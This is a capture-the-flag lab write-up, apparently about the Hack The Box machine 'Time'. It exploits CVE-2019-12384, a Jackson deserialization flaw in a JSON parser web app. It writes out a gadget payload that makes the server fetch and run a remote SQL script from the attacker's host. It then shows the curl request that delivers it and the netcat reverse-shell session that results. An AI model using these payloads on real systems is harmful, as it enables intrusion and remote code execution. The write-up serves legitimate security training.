InfoSec LAB

Time_Exploitation

Created: 3 min read

Java Deserialization Attack

a online json parser that the target system is hosting is suspected to be vulnerable to deserialization attack as the application uses the jackson Java library in the backend to process the JSON data that the client sending in. After making some research online, I came across an article online, talking about [[Time_CVE-2019-12384#CVE-2019-12384|CVE-2019-12384]]. While it is still unclear if the target web application is vulnerable to [[Time_CVE-2019-12384#CVE-2019-12384|CVE-2019-12384]], it appears to be most relevant based on the functionalities and gadget used.

Here I will attempt to exploit the web application using the exploit that I found online. The exploit uses CVE-2019-12384 to perform SSRF leading RCE

Exploitation

The exploit leverages the existing ch.qos.logback.core.db.DriverManagerConnectionSource class to instantiate a JDBC (Java Database Connectivity). The JDBC is a Java API to connect/execute SQL queries. The exploit first uses the Java class above to instantiate a JDBC to connect and fetch a SQL file that I am hosting on Kali over HTTP. The SQL file contains a series of SQL queries. In this case, they are meant for RCE containing OS Commands

First I would need to confirm the ability to leverage the Java class;  ch.qos.logback.core.db.DriverManagerConnectionSource

SSRF

I will first start a web server on Kali to test out the SSRF connectivity

["ch.qos.logback.core.db.drivermanagerconnectionsource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.7/SSRF'"}]

this is the payload for testing ssrf. it’s not exactly the same as the one in the poc shown because they were conducted in a controlled environment using Ruby. so I had to modify the exploit in order to make it work on the target web application

Upon sending the payload, I get a hit on the web server running locally on Kali Now that the SSRF is confirmed, I would have to provide a SQL file so that the instantiated JDBC can connect and execute the SQL query in the file.

RCE

I got the payload ready, inject.sql

┌──(kali㉿kali)-[~/archive/htb/labs/time]
└─$ curl -s -X POST 'http://10.10.10.214/index.php' -d 'mode=2&data=%5B%22ch.qos.logback.core.db.DriverManagerConnectionSource%22%2C+%7B%22url%22%3A%22jdbc%3Ah2%3Amem%3A%3BTRACE_LEVEL_SYSTEM_OUT%3D3%3BINIT%3DRUNSCRIPT+FROM+%27http%3A%2F%2F10.10.14.7%2Finject.sql%27%22%7D%5D'

Sending the SSRF/RCE payload This should now invoke the web application to connect the Kali web server to fetch the SQL file and execute the reverse shell inside

I got a hit on the local web server again with code 200 this time, meaning that the web application successfully fetched the inject.sql file

┌──(kali㉿kali)-[~/archive/htb/labs/time]
└─$ nnc 9999                                 
listening on [any] 9999 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.214] 57720
whoami
pericles
hostname
time
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.214  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:759a  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:759a  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:75:9a  txqueuelen 1000  (Ethernet)
        RX packets 134819  bytes 10073258 (10.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 133105  bytes 8380477 (8.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 23400  bytes 1662512 (1.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23400  bytes 1662512 (1.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the pericles user via exploiting CVE-2019-12384

Interactive Graph View

Backlinks